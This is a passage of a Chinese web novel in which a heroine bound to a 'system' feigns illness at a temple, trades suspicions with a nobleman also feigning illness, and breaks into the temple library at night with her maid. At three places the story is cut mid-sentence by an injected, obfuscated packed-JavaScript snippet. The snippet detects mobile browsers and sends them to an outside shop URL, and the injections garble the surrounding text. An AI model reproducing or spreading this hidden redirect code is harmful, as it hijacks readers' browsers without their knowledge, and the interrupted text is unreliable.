片刻后,陈大夫收回手,动笔在纸上写着什么,“小姐思虑过度,心血耗损,需安心静养,万不可再劳气伤神。”
他停下笔,看着自己写的东西,又补充了一句,“给小姐开几方温养宁神的房子,小姐按时服用就是。”
竹曳看着那写得满满当当的纸,听着陈大夫接二连三的四字成语,只觉得头疼得很,前世学中医的时候就背不下来那些四字话术,穿到这里还得接着受折磨。
竹曳直觉得苦涩药味已经入侵了自己的脑子,内心哀嚎任务一点没进展,药快要喝个遍。
她努力维持着感激的笑容,咬牙切齿地说:“多谢...大夫了...”然后示意巧心接过药方,让文心送陈大夫出门。
临到门口,文心又塞了些诊金给陈大夫,陈大夫并未推辞,客气地收下,又叮嘱了几句饮食起居的注意事项,便告辞离去。
竹曳站在窗边,伸着头看到陈大夫的身影消失了才真正放下心来,她立刻原地复活,拿起那药方抖了抖,苦着脸说:“完了,又开新药了。”
她仔细辨认上面的药材,“巧心,方子先留着,以后等需要装病的时候再熬,然后到时候你就想办法......嗯,看看能不能浇给什么腊梅什么树什么草的,给它们也补补。”
文心进屋正听到这话,在一旁捂嘴偷笑:“小姐,那玩意儿要是会说话,肯定得谢谢您!”
与此同时,林霁暂居的院子。
“如何?”
陈大夫向临窗而立的世子回话:“脉象虚浮细弱,确实是久病亏虚之体,观其气色,听其声音,与脉相符,不似作伪,属下给开了温养的方子。”
林霁淡淡“嗯”了一声,手里拿了把小银剪子,慢条斯理的修剪着窗户边那盆花的枝叶。
沉思片刻才问道:“你可看仔细了?那日在溪边,我观察她言行举止,此人面对尸体依然能够冷静自持,条理清晰,可不像是体弱多病的深闺女子。”
“额,属下当时观察也确实如此,但今日诊脉,林小姐身子并不康健,脉象...应该是无法作伪。”陈大夫眼见着那盆花在林霁手下越来越秃,迟疑了一下,又道:“只是,属下告退之时,隐约听到竹小姐身边的丫鬟似乎小声嘀咕了一句‘总算是走了’,属下猜测这主仆三人该是有所隐瞒......当然,也或许是属下听差了。”
林霁终于放下银剪,拿起布巾擦了下手,然后转过身来。此时面上不见一点那日的虚弱病气,倒显得中气十足,像个健康人。
“无妨,有病治病,没病——强身也罢。”
他心里虽然有所怀疑,但是也跟明镜似的。这竹家大小姐必然是有些手段,那日在溪边一手一个架着两个丫鬟的样子,哪有半分病态?陈大夫虽然医术精湛,但对方若真的有手段也未必不能瞒天过海。
林霁挥了挥手,陈大夫会意,悄声退下,房间里就只剩下他一人。
他此番前来慈恩寺,表面上是静养,实则有两大要务。其一,是查探竹曳虚实,他怀疑这位从来不在众人面前出现的竹家大小姐身上很有可能藏着点什么。
其二,则关乎朝堂,这是最重要的一点,他要追寻条指向摄政王的线索。据密报,这慈恩寺近月来香火账目有些蹊跷,有大量不明银钱在此周转,最终流向可能与摄政王有关,他刚好借着修养的机会暗中查证。
慈恩寺香火鼎盛,往来皆是达官显贵、巨商富贾,但也正是因为如此,这背后涌动的暗流才更可怕。连日来,他的暗卫已经摸清寺内几位关键人物,主持慧恩大师多半是被蒙在鼓里了,问题出现在掌管钱粮的监寺普弘,以及其手下一位名唤净言的知客僧上,几人行事圆滑、八面玲珑,与京中几家背景复杂的商号往来频繁,嫌疑最重。
林霁派出去的人再细查,这些商号竟都或多或少的与摄政王有所勾连。
摄政王宴代,先帝托孤的辅政重臣,在朝中势力盘根错节。当今皇帝年幼之时就掌握重权,随着皇帝年长,不但没有放权,反而隐隐有凌驾于皇帝之上的势头,再加上亲妹妹是皇后,更是要为所欲为......
若是此条线索为真,那他聚敛如此巨资,所图必然不小,林霁手指轻点桌面,思绪飞转,必须得找到一个能够接触寺中账目,又不引人注意的契机。
就在这时,一名手下无声上前,低声禀报:“世子,刚收到京中消息,仓场总督那边查出写眉目,去年中央几笔以‘修缮河道’为名拨下的款项,有一部分被兑换成了不易追踪的珠宝古玩,其中一部分几经周转,几月前被送到了慈恩寺,有些与摄政王府送来的‘供奉’对得上。
“另外......属下在听寺内杂役闲谈时查探到,后山看管的一位老僧,数月前因失足落井身亡,寺中对外并未多做解释,只说是意外。”
林霁瞥了他一眼,“你又偷听别人说小话。”
手下嘿嘿一笑后退半步,紧接着补充道:“那老僧性格孤僻,少与人言,但平日与静言师傅关系交好。”
账目蹊跷,人命关天,不查不知道,这慈恩寺的水竟然比预想得还要更深、更浑。
“知道了。”林霁想着他得找个时间去库房翻翻。
下午,竹曳所居禅院中。
竹曳正对着一卷翻找出来的杂书发愣,书是一些风物志异之类,是她无聊让文心找来的,结果谁知道看着看着里面调出来一张简陋的地图!
地图最下面写着“慈恩寺”简图,非常潦草,但是却很全面,不知是哪位爱探险的小贼画的。
竹曳仔细翻看,有一部分建筑对应的很准确,但剩下的地方就不确定了,她琢磨着按照这地图转悠转悠。
“文心!”竹曳抬起头,语气平静,“咱们来那日竹曳茵说这山上桃子快熟了,你这几天去看过没有?”
文心笑着回复:“回小姐,我没去,但昨日巧心过去了,她回来还说呢,那桃树结果了,有些熟了有些没熟,昨日晚上吃的那碗冰果子,就是巧心摘回来的。”
“是么,那桃子挺好吃,”竹曳仔细将地图对折收进袖中,站起身来抻了个懒腰,“整日闷在屋里也是无趣,今天天气不错,咱们去后山走走,再摘几个桃回来。”
任务没有进展,她不能坐以待毙,得自己去探一探,今天先熟悉位置,明天就去藏书阁。
后山的景致与竹曳想象中的完全不同,并非荒芜,反而树木茂密,结的桃子一个个圆滚滚的,让竹曳想到以前看西游记时孙悟空摘桃的桃园。
要是春天来估计也是粉云蒸霞,灼灼其华,是个踏春赏景的好地方。
竹曳把那张地图拿出来,捏着边边,眉头微蹙,这图上清晰地标注着,穿过这片桃林,前方不远处应是寺中存放经卷的藏书阁,而藏书阁再往西,是库房区。
“小姐,这地图您是从哪儿得来的呀?画得还挺细致。”文心好奇地探过头。
竹曳偏了偏手,让文心看得更清楚,“哦,就之前让你给我找的那本讲各地风物的杂书里夹着的,应该是之前哪位香客遗落的吧。正好也没什么事儿,我一会儿打算去藏书阁瞧瞧,看看有没有什么有趣的游记或者地方志,也好解闷学习学习。”
她需要一个合理的理由出现在那里,查阅资料这个借口,对于一个“病弱”却识文断字的小姐来说,再合适不过。
主仆二人穿过半片桃林,一路走一路挑着摘了两个漂亮的桃子。
小径七拐八拐,一转弯,与一个颀长的身影撞了个正着。
两人同时抬头,四目相对,皆是一愣。
林霁?!
竹曳?!
空气仿佛是凝固了一瞬。
几乎是本能反应,竹曳立刻抬起手,让文心顺势扶上去,她抬手抬手虚掩住口唇,肩膀微微缩起,方才那点震惊瞪大眼睛的神色瞬间被恰到好处的虚弱和惊讶取代,声音也弱了下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614618|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去:“......咳咳,林世子?您也在此?”
林霁的反应同样不慢,他脸上的凝重顷刻烟消云散,换上了与平日面对外人时相似的温和,也恰到好处地抬手抵唇,适时地偏过头低咳了两声,才温声道:“原来是竹小姐......在屋里待得气闷,想着出来走走。竹小姐身体可好些了?”
竹曳抬头看着林霁,竹注意到林霁掩唇的右手小指上,带着一枚不怎么起眼的黑色简约指环,似铁非铁,似玉非玉,材质难辨。
怎么有些眼熟?
好像和那天在溪边面具男带的很像,她依稀记得也是在小指上,就是不确定是否是右手。另外这大小样式...那面具男动作快,当时没有看清楚,不过就是有一种相似的感觉。她定神想再仔细看一眼,林霁却将手放下了。
竹曳的心跳微微加速,心底翻起惊涛巨浪,但面上却依旧是那副弱不禁风的样子。
林霁有可能就是那天在溪边的人!现在看着身形也很像,不过声音不太像,那个面具男看着也不虚弱。
【——警告!警告!】
【宿主心跳过快,请尽快调整。】
竹曳想骂人,系统这个时候又突然跳出来坏她事儿,深吸一口气,渐渐平复下心跳,压下心底的不安。
“劳世子挂心了,还是老样子,时好时坏。”竹曳微微颔首,语气里待着感激,但是又藏着试探,“说起来,那日溪边之事......是我来寺中路上偶然遇到的,现场混乱吓人,不过所幸有惊无险,不知世子后来是如何知晓的?”
来了。
林霁眼底深处闪过一丝了然,面上却露出一个笑,语气淡淡的,“哦,来的那日听寺中人议论,说前一天溪边发现了死尸。想到在门口时遇到了竹小姐,便估摸着竹小姐来的路上遇见了,其实也是碰巧猜对了而已。”
这理由找的真是漏洞百出,陈大夫说是来的路上知道的,林霁又说是在寺里听到的,他们几个人一点口供都不对么?
竹曳心中冷笑,几乎确定那日在溪边的人就是林霁。
他也在装病。
竹曳面上一副“原来如此”的恍然大悟模样,阴阳怪气说道:“世子真是有心了。”
俩人就这么站在路边,一个靠着树借力,一个被人搀扶着,嘴上说着关怀备至客气至极的话,心里却都在疯狂吐槽对方。
竹曳心想这人怎么还不走?不是要散心解闷吗?赶紧去散呀,这么大的园子不够他逛的?非得堵在这里做什么,不会是发现什么了吧......
林霁心想她演的可真是逼真,脸比自己抹了粉的还有白,但那日明明不像现在这般柔弱,这竹家大小姐究竟有几副面孔?难道陈大夫的诊断真的有误?看来陈大夫的医术该好好精进一番了......
气氛一时陷入了一种诡异的和谐之中,两人就这么僵持着,最终还是竹曳沉不住气了,她不与古人计较,再次抬手揉揉额头,“哎呦,世子,我突然有些头晕,怕是站在这久了些,想先回去歇着了。”
林霁从善如流,立刻侧身让开路,接下这一台阶,语气温柔关切,“竹小姐快快请回吧,还是保重身体要紧!”
林竹曳微微欠身,带着文心,沿着来时的路,一步一步慢悠悠地走了。
看着她消失在桃林深处的背影,林霁脸上的笑容缓缓收敛,眸色转深。他低头,目光落在自己小指的黑色指环上,若有所思。
刚刚竹曳看了这个好几次,估计是发现了什么,她比自己想象中的要聪明很多,看来以后要多加小心。此人绝对有问题,还得叫人接着留意一下。
而竹曳,一离开林霁的视线,就停止了背脊。她需要冷静捋一捋,那指环的线索太过惊人,如果林霁就是那天面具男,那他装病潜伏在此的目的是什么?
“小姐,我们现在要回去了吗?”文心问道。
“不,我们换一条路接着走。”
10. 破路偶遇两次
竹曳随机选了一条路,想着反正都是朝着那个方向走,总归不会走错的。
待俩人七拐八绕地从小径尽头走出来,以为终于能够喘口气的时候,一抬头,整个人都僵住了。
只见隔着几步距离的不远处,另外一条小路上,林霁也恰好走出来。
两条路,在这里汇聚成一条,他们面前是同一条路。
两人四目相对,空气再次凝固。
竹曳:“......”
林霁:“......”
这一刻,什么弱不禁风、什么温润多病,俩人都没维持住。
竹曳嘴角微不可察地抽搐了一下,心里只剩下一个念头:这鬼路到底哪个天才设计的。。。。。。
林霁显然也没料到会梅开二度,他轻咳一声,掩饰住那一瞬间的尴尬,想率先打破这令人脚趾抠地的沉默,语气里还带着恰到好处的惊讶。
“竹小姐?又见面啦?还真是巧,没想到没想到。不过这似乎——是回去的相反方向?”
竹曳挤出来一个比哭好看不了多少的笑容,“......是啊哈哈,真巧,该是这路......这路...它、它就通到这了吧,还真是挺绕呢。”她实在想不出更合理的解释了,只能干笑两声,试图往回找补。
俩人再次陷入沉默,这次连连客套话都无从说起,竹曳只得硬着头皮打破僵局:“内什么,世子,我......我先回去了!这次应该不会走错了。”
说完,竹曳快速拽了拽不知道什么时候躲到背后的文心,俩人几乎是失仪地快步离去,径直朝回去的方向快步离开。
林霁看着她们主仆二人小跑着离开的背影,终于忍不住,低低地笑出了声。
竹曳一路跑回到屋里,关上门才长长舒了口气,脸上烧的厉害,她伸手胡乱拍拍微红发烫的面颊,抱着软枕瘫倒在椅子上,发出一声长叹:“啊——”
这叫什么事儿!饶是她自认脸皮不算薄,上辈子已经在各种老师和领导面前将脸部肌肤练就的弹性十足,此刻也感觉脸颊上热都能煎鸡蛋。
尤其是林霁最后的那声低笑,她听的清清楚楚!!!平白让人心烦意乱。
“小姐,这这这,”文心面露窘色,气还没喘匀,先伸手倒了一杯水递给竹曳。
竹曳接过水,有气无力地说道:“我知道你想说什么,我也觉得尴尬。”
【系统提示:宿主竹曳,一日内达到三次心跳过快,达成“心潮澎湃”成就,惩罚做太极拳一套,请于今日内完成。】
竹曳:“......”???
她一口茶水差点喷出来,呛得直咳嗽。
什么玩意儿?“心潮澎湃”成就?惩罚是打太极拳?
“系统!”竹曳在心里无能狂怒,“这心跳快是因为,是因为外界的影响呀!谁紧张心跳不快?谁跑步心疼不快?不是我自己的原因吧?”
【我的心跳就不快呢嘿嘿,系统按照实际数据评判呢~太极拳教程视频已发放,宿主加油。】
是啊因为你本就不是人呢,竹曳抱着枕头,合上眼皮,尽情地翻白眼。
“小姐,您......您怎么了?”文心看着自家小姐脸上神色变幻莫测,一会儿愤慨、一会儿绝望、一会儿又满脸生无可恋,她凑近担心地询问。
“没事儿,我就是觉得眼睛闭上特别舒服,刚刚跑几步跑累了,我先自己一个人待一会儿。”竹曳有气无力地摆摆手,声音里都透着一股虚脱。
“哎,好吧,那我先把桃子洗了去。”文心方才临逃跑还不忘顺手摘桃子。现在她只觉得小姐身体好转但又没有好利索,估计还处于容易虚弱的健康人范围中,一点没多想,搂着几个大桃子就走了。
逃避惩罚是没有用的,她之前在府里的时候试过,当时为了任务心里着急嘴里长泡,被系统惩罚当日必须抄写五遍清静经。
头一天抄了四遍,投机取巧留了一篇想第二天再写,结果第二日惩罚直接翻倍,这谁还敢敢延迟完成系统惩罚?
竹曳看着文心走出去没影了,一个利落的翻身从椅子上站起来,抱枕被随手一扬,在空中划出一道弧线,“咻”的一声落到床榻正中央。
她站在屋中间,整理好衣服,扎马步,步履间尽显沉稳,紧接着动作舒展如云,野马分鬓、白鹤亮翅、手揽雀尾,姿态从容、劲意十足。
待一套二十四式打完,竹曳气息匀畅,面不改色。动作可谓是行云流水,系统给的视频一眼都没看,这全靠当初上大学时多次代表学校参加太极拳比赛时候的功底。
【系统提示:惩罚任务完成。】
竹曳给自己倒了一杯水,一饮而尽,坐到桌子旁研究地图。
今天下午算是白走了一遍,连藏书阁影子都没见着,竟看见林霁了。按照计划,她只会在慈恩寺修养半个月的时间,眼下留给自己的时间并不太长,她打算今天晚上再去转转。
竹曳又照着原本的地图手抄了一份,然后将原件藏在枕头下面,新的拿来用。
暮色四合,慈恩寺的夜晚极其安静。竹曳估摸着快到九点了,换了身轻便的衣服,正准备悄声出门,房门却“吱呀——”一声被推开了。
文心和巧心并排站在门口,两双眼睛在昏暗中亮晶晶的,直直地望着她,脸上写满了“我们早就猜到了”的表情。
“小姐,”文心率先开口,拉着巧心迈过门槛,反手轻轻掩上门,“都这么晚了,您要往哪里去?”
巧心在旁边补充:“寺里规矩多,晚上乱走不好的。”
竹曳心里“咯噔”一声,倒是没想到会被她们俩发现,“我晚上吃撑了睡不着,出去走走,顺便消消食,你们不是要休息了吗?怎么又回来了......”
“小姐,”文心走近一步,目光灼灼,“您白天一整天就魂不守舍的,回来就研
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627491|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
究那张地图,以往咱们来寺里,您除了念经什么都不做,怎么这回反而对寺里好奇起来了?”
巧心跟着说道:“是呀小姐,身子是好了点,但是夜里风凉,路上又黑灯瞎火的,万一...万一磕着碰着或冲撞寺里的规矩怎么好?您还是在屋里歇着吧。”
竹曳装出一副主子的派头想蒙混过关,她轻轻嗓子,故作镇定地挥挥手,“咳,我真的就是想出去走走,你们别担心了,快去休息吧!”
她们俩不吃这套,“小姐,今日你要是不说实话,我们俩是不会放你走的!”
竹曳看看文心,又看看巧心,心中叹气,这俩人明明十几岁的样子,却一个比一个聪明机灵。
眼看着瞒不下去,竹曳叹了口气,知道不给个合理的解释这俩人是不会放行了,她沉默了片刻,“我不是去玩闹,只是,只是前两天听有人说寺里藏书阁里有关于过往的记载的书籍。母亲她...在我还未记事时就,唉!我就是想去那边看看能否翻到一些当年的事儿。”
听了这话,两人都有些难受,文心上前紧紧握住竹曳微凉的手,“小姐...那,那咱们明天白天去!咱们一起去”
竹曳向来不习惯这种外露的、煽情的氛围,她无奈地摇摇头:“藏书阁怎么可能让我们随意翻查,白天有人看守,查阅经卷还行,但要是要翻找多年前的旧籍文书,肯定会惊动其他人,寺中人多眼杂,白日里去查探,只怕书未找到,风声却已走漏。”
眼瞅着巧心要哭,竹曳眼睛一转,压低声音道:“而且——,我听说那里还有些‘禁书’,怨气很重,阴气最盛之时方可压制。”
她双手合十,看着月亮,诚信道:“唯有月圆之夜,借助天地之正气才能翻阅,否则会为翻阅者带来不详......”
“所以快点让开让我先走吧!”竹曳趁其不备,快速伸手,把紧贴在一起的俩人拉开一条缝然后钻过去。
“小姐!”
两人也是反应极快,迅速追上前,手脚利索地拦住竹曳,“你又瞎说,如果一定要去的话,那我们俩也要跟着。”
“对!要么带我们去,要么咱就回去休息!”
竹曳无奈扶额叹息,这怎么可能一起去的啊,这是夜闯藏书阁,又不是什么过去玩,三个人大晚上出去,目标太大,那估计没等出院门呢就被发现了。
最终,磨蹭了好久,在文心和巧心“要么带我们去,要么谁也别去”的坚持下,双方各退一步,达成了轮流跟班的协议:
竹曳可以夜探藏书阁,但必须又她们二人轮流陪同,且为了避免动静太大,一人跟一天。今晚,则由文心打头阵。
竹曳在纸上签上自己的名字,拿起来展示,“这回可以了吧?我们都签了名字,都要遵守上面的规定。”
主意已定,两人也不再耽搁,她们稍微收拾,文心换上深色的便捷衣衫,悄无声息地融入慈恩寺沉沉夜色之中。
11. 古寺深夜加班
夜晚的寺庙与白日香客云集、钟鼓齐鸣的景象完全不同,喧嚣与烟火气散去,只剩下庄严与肃静。
石板路蜿蜒曲折,小径在清冷的月光下像一条断断续续的溪流。
她们住在靠下的位置,去往藏书阁还要向上走一小段距离,主仆二人手挽手行走在夜色之中,月亮高悬,皎洁的月光散落一地,竟将周遭景致照得清晰可见,连灯笼也不必打。
竹曳迈着步子一步一块石板,一边和文心说话一边凭借着白天的记忆往前走,两人小心翼翼的躲开道路两旁伸出来的树枝,沿着阴影前行。每时每刻都在屏息凝神,注意着巡夜僧人的灯光和脚步声。
走到那片桃林时,眼前景象陡然一变,伸出的枝叶在地上映出晃动扭曲、张牙舞爪的模样,像恶鬼一样将两人的影子吞噬。树叶摩擦,给夜晚的环境更增添几分幽深与神秘。
文心不由自主打了个寒颤,身体紧紧贴靠着竹曳,手死死拽住她的袖子,布料被捏的皱巴巴的。她的指尖因为用力而发白,连说话的声音都带着颤抖,“小小小姐,这这这林子...白天看着还挺好看的,怎么晚上......晚上变得这么瘆人啊......”
风一吹,树叶哗哗作响,有几片叶子掠过文心的额头,身上冒出一层鸡皮疙瘩。
竹曳感受到胳膊上传来的力度,眼睛一转,恶作剧的心思冒出来。她故意放慢脚步,凑到文心耳边,用神秘兮兮的气声音低语道:“吓吓吓人?哦......你这么一说,好像还真是哦......”
竹曳语气飘忽,“对了,我突然想起来前些天看书的时候发现了一个小故事,你要不要听啊......”
“什、什、什么小故事,”文心紧紧扒在竹曳身上,心里害怕,但是又被勾起了好奇心,心里痒痒的,“小姐你别吓唬我。”
“哦,你害怕呀,那我不说了。”
“小姐!你还是快说吧!”
竹曳轻笑一声,接着神神秘秘地说道:“这传说中啊,世界上有一神奇物种,形似狐狸,声音似鸟,还会模仿人说话,平时就四条腿站着,偶尔会用两条后腿站着。
“有一天,一农户上山砍柴的时候遇到了这个东西,他就想,这东西闻所未闻见所未见,乃不祥之物,我要将其杀掉!就这样,晚饭的时候他们家餐桌上就多出了一锅肉。一家三口吃的那叫一个香,一块接着一块,一口接着一口。他们从未吃过这么好吃的东西,油从嘴角留出来,滴到衣服上、桌子上,香味顺着窗户飘出去,全村的人都出来看,羡慕的直流口水。”
“但是,当天晚上......”竹曳停住声音。
文心浑身猛地一僵,连呼吸都屏住了,“当天晚上怎么了?”
竹曳的声音越来越低,像是被风吹散的烟飘荡在周围,仿佛早就融入进了诡异的夜色之中,她故意顿了顿,感受到文心的手攥得更紧了,才接着往下说。
“当天晚上,他们一家就都死了!第二天的时候村长找人过去看,发现......发现他们一家三口的尸体竟然都在院子里那颗桃树下面埋着!只露出个头在地面上!桃树枝繁叶茂,开出的花颜色极深,像是浸了血一样。那村长再定睛看去,你猜看到了什么......?”
“看到了什么?”文心追问。
“那树的周围,围了一圈细细的狐狸毛!正随着风飘来飘去呢!此后每到夜深人静之时,那东西就会跑出来,挨家挨户的敲门问,‘你看到我的身体了吗~你看到我的骨头了吗~你看到我的肉了吗~’
“要是有人说看到了,那东西就将其丢进锅里大火炖煮,要是说没看到......他就把人的舌头拔出来,栓到房梁上吊三天三夜!然后在旁边吹风,让尸体在空中晃来晃去。这时候要是有好奇的人来看,他就躲在后面伪装成吊死人的声音,问来人,你——看——我——像——人——还——是——像——鬼——哪?”
恰好这时候吹过来一阵风,树叶再次打在文心的脸上。
“——啊。”文心被吓得惊叫了一声。
竹曳赶紧捂住文心的嘴,心想早知道不给她讲这个了,到时候把巡逻的人招来可不好解释。
“小姐!”文心直跺脚,声音里带着哭腔,“你哪里看来的这种故事,也太吓人了些!”
竹曳嘲笑她,“你看你,早就说了要不不给你讲了,你自己要听还怕吓人。”
“小姐!你...你太过分了!”
竹曳恶作剧得逞,听着文心的控诉忍不住“噗嗤”一声笑出来,她笑着拍了怕文心发凉的手,语气轻松道:“好好好,不说了不说了,瞧你这点胆子,平日里看着挺稳重,就连刚刚还一副什么都不怕的样子,原来这么不经吓。”
文心不想听她磨叽,“小姐不要再说了,快走吧,前面就到了,再磨蹭天都要亮了。”
两人有惊无险地穿过那片碰见过无数秘密的桃林,视野变得开阔。远远地就望见了藏书阁的轮廓,在皎洁的月光下静静矗立着,带着一种威严的气势。
见到这藏书阁,俩人不敢有丝毫的大意,借着沿路树木投下来的阴影,前后挨着微微弯腰凑过去,像两只灵巧的狸猫那般悄无声息地摸到近处,然后躲在一颗高大的古树后,小心翼翼地探出头观察正门情况。
果然如竹曳所料,那两扇厚重的大门紧紧闭合着。她们继续观察,过了一会儿还真出来一个人,侧面的小门“吱呀”一声被缓缓推开,一个年纪不算大的小沙弥提着一盏灯从外面走进去。
他手里似乎抱着几捆经卷,动作麻利的将其码在门口的防潮木架上,做完这一切,小沙弥双手合十,对着藏书阁微微躬身,然后转身走了出去,随即门口传来“咔哒”一声清晰的落锁声。
“小姐,他把门锁上了。”文心凑近竹曳耳边,用气声说着,语气里带着一些显而易见的沮丧。
“没事儿,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640612|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走了才好,人少才方便我们找东西。”竹曳轻轻拉了一下文心的手,文心会意,她们弯着腰小步快速绕到建筑物的侧面。
果然不出竹曳所料,这里还有一扇较为窄小的侧门,不过此刻自然也是紧紧闭着,但就在旁边不远处,竟然还有一扇窗子,位置只有不到一人高。
两人心中一喜,压抑住雀跃的心情,又到周围转了几圈,费了点时间才找到几个石头。竹曳把袖子撸到胳膊上塞紧,将石头挨个垒上去。
“文心,你在下面扶着我。”竹曳小心的踩上石头,扶助墙面。
窗子从内面扣着,但销子有些老旧松动,竹曳从发间取下一根细簪,伸进去小心翼翼地拨弄了几下,“咔哒”一声轻响,销子便滑开了。
竹曳双手扣住窗沿稍微用力往里一推,那扇窗子就应声而开,发出“咯吱”声。
她伸手敏捷,足尖在垒起来的石头上一点,另一只脚便瞪住墙面,双手用力一撑,腹部用力,动作略微扭曲的坐到窗台上。待坐稳后又将文心拉上来,之后俩人便如同游鱼一般轻巧地翻进了窗内。站稳后她又立刻回身将紧张得手心冒汗的文心拉起。
屋内一片漆黑,只有一点月光从窗户内照进来,隐隐约约勾勒出一些高大的模糊轮廓。眼前尽是飞舞的灰尘,陈旧的书卷和檀香混合的气息扑面而来,竹曳捂住嘴打了个闷闷的喷嚏。
竹曳拿出两个火折子,将顺手摸过来的两个蜡烛点燃,又递给文心一个。等到一切都弄好,两人不由自主松了口气转过身的时候,又同时停住了脚步。
她们呼吸一窒,彻底呆在当场,同时被眼前的景象夺去了呼吸。
眼前并非她们想象中寻常书房的那般模样,一排排书案,一排排书架整齐的摆在一起。蜡烛微弱的光亮只能照出眼前的一小片空间,更多的东西隐蔽在黑暗之中。
巨大的空间仿佛没有尽头,书架上密密麻麻、整整齐齐地码放着无数书籍卷轴,好像带着千年的威严。她们手中那两簇微弱而又可怜的光,所能照亮的不过两张脸那么大的空间。
竹曳头一次如此真实的感受到“知识的海洋”是怎么样的意境,但此时此刻她的脑海中只有一个念头——这要是一个不小心被点着了,不敢想象得有多么大的损失......
“天啊,小姐,这藏书阁果然名不虚传......”文心长着老大的嘴,好半天才找回自己的声音,“但是这、这书也太多了吧...这得找到什么时候去?”
竹曳深吸一口气,举起手中的蜡烛。
“先找吧,”她轻声说,语气里带着执着,“来都来了,怎么也得看看,我们先分区找。”
藏书阁一共有三层,每一层又分为很多区,里面很黑,文心不敢一个人走,于是竹曳就只能带着文心一点一点的找,每到一个地方就举起手中的蜡烛,看牌子上写的是什么。
蜡烛燃烧的很快,蜡油滴下来,竹曳抹开接着用。
12. 加班病倒不请假
烛火摇曳。竹曳和文心慢慢移动,地上淡淡的影子忽长忽短,一会扭曲一会拉长,映在耸立的书架上,仿佛有看不见的手在转动皮影那般。空气里复杂的沉闷味道挤在胸口,压的人喘不过气来,却只能小心的呼吸。
“小姐,这...这怎么找啊,书这么多,跟迷宫似的,咱们得找到天亮去。”文心停在一个书架前,举着蜡烛仰头看,视线绝望地扫过那些书,“这简直比咱们府上的库房还乱上一百倍。”
竹曳皱着眉,手将书拿起又放下,指尖掠过书脊上那些模糊的字迹,眼神里带着些茫然,最终化为一声长叹,“别慌,既然这里有旧档存放,那肯定有迹可循,他们总不能乱放。我们只管找‘人物志’、‘旧年录’之类的,其他的咱们不需要。”
俩人不敢分的太开,只一前一后缓慢移动。烛光照亮的范围有限,有时候必须极力地踮脚抬头,才能看清楚高一些的标签。
脖颈和胳膊很快就传来阵阵酸涩的感觉,眼睛也因为光线太暗而酸涩。
时间慢慢流逝,蜡烛在两人没注意到的时候突然“噼啪”一声爆了个灯花,滚烫的蜡油滴落在竹曳紧握的手指上,带来一阵刺痛。
“嘶——”她倒抽一口凉气,硬生生忍住把蜡烛甩出去的冲动,用另一只手摩挲着受伤的地方。
“小姐?发生什么了?”文心在后面低声询问。
“没事儿,接着找吧。”
竹曳没在意,将蜡烛换了一只手拿着。蜡烛烧得很快,她估摸着用不了多久了,正想招呼文心一会儿再去取个新的蜡烛。
一阵细微的“沙沙”声突然传来,还有些若有若无的谈话声,一起穿过层层书架,如同鬼魅一般飘过来。竹曳耳朵灵敏,她瞬间僵在原地。
文心见竹曳不动了,立刻反应过来应该是发生了,站在自家小姐的身后屏息凝神。
过了半晌,竹曳没听到声音了,才缓慢回过身来,对文心打了个手势,示意她跟着自己走。
有人来了,这里不能久待,她们得赶紧走。
可就在下一刻,更清晰的脚步声传来,一步一顿,缓慢至极,走得不紧不慢。
这回两人都听得清清楚楚。冷汗瞬间从额角滴落,背后却升起一股寒意,竹曳没忍住打了个寒颤,脖颈后面像是有细小的冷风吹过。
“熄灯!”竹曳一口气吹灭自己手上的蜡烛,又用气音冲文心说道。下一刻又反应过来,指着蜡烛补充道:“吹灭。”
文心手忙脚乱,一口气没吹灭,情急之下要用手去掐,几乎要哭出来。竹曳替她吹灭后,紧紧握住文心冰凉的手,两只手的手心皆是出了一层汗。
她小心翼翼地转过身,朝着声音传来的反方向挪去。途径一处拐角,文心因为紧张,袖口“嗤”的一声被书架,被向前绊突出的木刺挂住,整个人被带得向前一个趔趄。
“咚——”
“谁!”一声呵斥传来。
越是小心越是出事儿,竹曳文心对视一眼,后者紧紧攥着蜡烛,眼泪在眼眶里打转。
竹曳头皮发麻,脑袋飞速转动,下一刻她果断地伸出手,迅速拿起眼前的书,用力向远处丢去。
“啪!”那书落到书架上,发出一声脆响,又砸落几本书。
“在那边!”
趁此间隙,竹曳拉着几乎软倒的文心快速逃离原地。一个个竹制的书简噼里啪啦的掉在地上,刚好挡住俩人跑路的声音。
来不及回头看,两人贴着墙根一路小步快走,凭借着刚刚对周遭环境的认识,蹑手蹑脚地向书架更深处摸索着退去。
她们将身子蜷缩进一处狭窄缝隙,脊背紧紧抵着冰冷粗糙的墙面,连呼吸都死死屏住,文心死死咬住嘴唇,压制住自己想要大口喘气的冲动。
心脏在胸膛里狂跳,耳边被“砰砰砰”声占满。
